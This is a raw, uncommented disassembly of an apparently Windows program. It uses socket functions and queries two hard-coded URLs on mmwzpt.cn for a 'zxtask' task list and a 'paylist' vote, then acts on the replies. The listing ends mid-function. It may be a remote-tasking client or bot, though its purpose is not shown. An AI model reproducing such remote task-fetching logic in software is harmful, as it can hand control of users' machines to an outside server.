fcomp qword [0x567c3a]
fnstsw ax
test ah, 0x41
jne 0x404221
push 0
mov ebx, 0x4519d0
call fcn.0044e41e
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x56811b
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x451bb0
call fcn.0044e41e
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
push 0x56811b
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x451bb0
call fcn.0044e41e
add esp, 0x1c
call fcn.00412ae9
mov eax, dword [0x5cee40]
cmp dword [0x5cee44], eax
jl 0x4042da
push 0xffffffffffffffff
push 0x12
push 0x160100e3
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jne 0x404289
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov eax, 5
mov ebx, 0x4bd9d0
call fcn.0044e430
add esp, 0x1c
jmp 0x4042da
mov dword [0x5cee14], 0
mov dword [ebp - 0x74], esp
push 0x1388
push 0
push 0x40
push 0x567e03
push 0x56813e
push 0
mov eax, 0
call fcn.0044e418
cmp dword [ebp - 0x74], esp
je 0x4042d0
push 6
call fcn.0044e412
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
cmp dword [0x5cee3c], 0
je 0x405065
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www1.mmwzpt.cn_mmrj_zx.asp_Actionzxtasknamehebei_jie
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4043ba
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4043cd
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4043e0
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4043f3
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x404406
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x404419
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x404429
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x404439
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x40444f
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x40447b
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x404492
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680df
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x56806f
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4044e5
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4044f5
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x40450b
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f260
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x40453d
push ebx
call fcn.0044e406
add esp, 4
fld qword [ebp - 0x8c]
call fcn.00401185
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x567e83
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680df
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40459a
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4045aa
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4045c1
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5cee3c]
fstp qword [ebp - 0x80]
fsub qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401185
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jle 0x404a7e
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x567e8c
push dword [ebp - 0x74]
push 0x567e8c
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40463e
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x404663
mov eax, 0x567c1d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x404677
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40469d
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
jne 0x4046f2
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e03
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x5681ba
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
push 0
call fcn.0044e42a
add esp, 4
jmp 0x404a79
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x567e8e]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x567e8c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x404733
mov eax, 0x567c1d
push eax
push 3
mov ebx, 0x44f9a0
call fcn.0044e41e
add esp, 0x28
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404771
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40476d
imul eax, dword [ebx]
jmp 0x404762
mov ecx, eax
test ecx, ecx
je 0x404790
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404789
push ebx
push eax
call fcn.0044e406
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404777
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 1
mov eax, 0x567c1d
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4047b9
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x567e8e]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00401185
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x404860
mov ebx, dword [ebp - 0x44]
call fcn.00401a85
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x40480b
push 4
call fcn.0044e412
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40481e
push 1
call fcn.0044e412
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x567e8c
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push dword [ebp - 0x4c]
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x404857
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
pop eax
pop ebx
pop ecx
jmp 0x4047e0
add esp, 0xc
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x567e8c
push dword [ebp - 0x74]
push 0x567e8c
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4048a9
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4048ce
mov eax, 0x567c1d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4048e2
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x404908
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x404958
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e03
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x5681f8
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
push 0
call fcn.0044e42a
add esp, 4
push 0xffffffffffffffff
push 8
push 0x1601b66c
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x404990
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed60
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4049b6
push ebx
call fcn.0044e406
add esp, 4
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4049d5
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed20
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4049fb
jmp 0x405065
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www1.mmwzpt.cn_mmrj_paylist.asp_votehebei_jie
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x404b51
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x404b64
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x404b77
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x404b8a
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x404b9d
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x404bb0
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x404bc0
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x404bd0
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x404be6
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x404c12
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x404c29
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x404c40
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x5682be
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, 0x5682c1
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00407f3b
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x404cab
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x404cbe
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x404cce
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x404ce5
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x50], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x404cfc
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f260
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fild dword [0x5cee3c]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x80]
fsub qword [ebp - 0x88]
fcomp qword [0x567e96]
fnstsw ax
test ah, 1
jne 0x405065
push 0xffffffffffffffff
push 8
push 0x1601b66c
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x404d73
push 0x56830b
push dword [ebp - 0x2c]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x4050df
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov dword [0x5cee20], 1
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.0044e43c
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d4
push 0x52010001
call fcn.0044e43c
add esp, 0x18
push 0x56830e
push dword [ebp - 0x2c]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x405159
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov dword [0x5cee20], 0
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.0044e43c
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d5
push 0x52010001
call fcn.0044e43c
add esp, 0x18
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x568313
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40518a
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40534d
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56831b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4051db
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x567e8e]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56831d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405237
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56831b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405281
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x567e8e]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401185
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405303
mov eax, 0x567c1d
push eax
push 3
mov ebx, 0x44edb0
call fcn.0044e41e
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x1601097b
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x40534d
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56831f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40537e
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4058b5
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x567e73
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x56831f
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4053ed
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4053fd
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x405414
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
push dword [ebp - 0x54]
call fcn.00401021
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40545e
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x40550c
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x56832b
push dword [ebp - 0x74]
push 0x568348
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4054ae
push ebx
call fcn.0044e406
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e03
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4054df
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x405502
push ebx
call fcn.0044e406
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e8c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x40553d
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4058b5
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e8c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x405582
mov eax, 0x567c1d
push eax
push 3
mov ebx, 0x44f9a0
call fcn.0044e41e
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4055ba
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4055b6
imul eax, dword [ebx]
jmp 0x4055ab
mov ecx, eax
test ecx, ecx
je 0x4055d9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4055d2
push ebx
push eax
call fcn.0044e406
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4055c0
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], 1
mov ebx, dword [ebp - 0x58]
call fcn.00401a6c
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4058b2
mov ebx, dword [ebp - 0x58]
call fcn.00401a85
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x405628
push 4
call fcn.0044e412
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40563b
push 1
call fcn.0044e412
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x74]
push dword [ebx]
call fcn.00401021
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40568b
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x7c], 0
je 0x405739
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x56832b
push dword [ebp - 0x74]
push 0x568348
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4056db
push ebx
call fcn.0044e406
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e03
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40570c
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40572f
push ebx
call fcn.0044e406
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
mov ebx, dword [ebp - 0x58]
call fcn.00401a85
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x405756
push 4
call fcn.0044e412
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405769
push 1
call fcn.0044e412
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x78], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x4057b1
mov eax, 0x567c1d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4057c5
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4057eb
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x4058aa
mov ebx, dword [ebp - 0x58]
call fcn.00401a85
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x405812
push 4
call fcn.0044e412
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405825
push 1
call fcn.0044e412
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x56835e
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push 0x568390
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x78], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e03
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40587d
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4058a0
push ebx
call fcn.0044e406
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x4055fd
add esp, 0xc
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4058e6
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x405c5d
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683ab
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
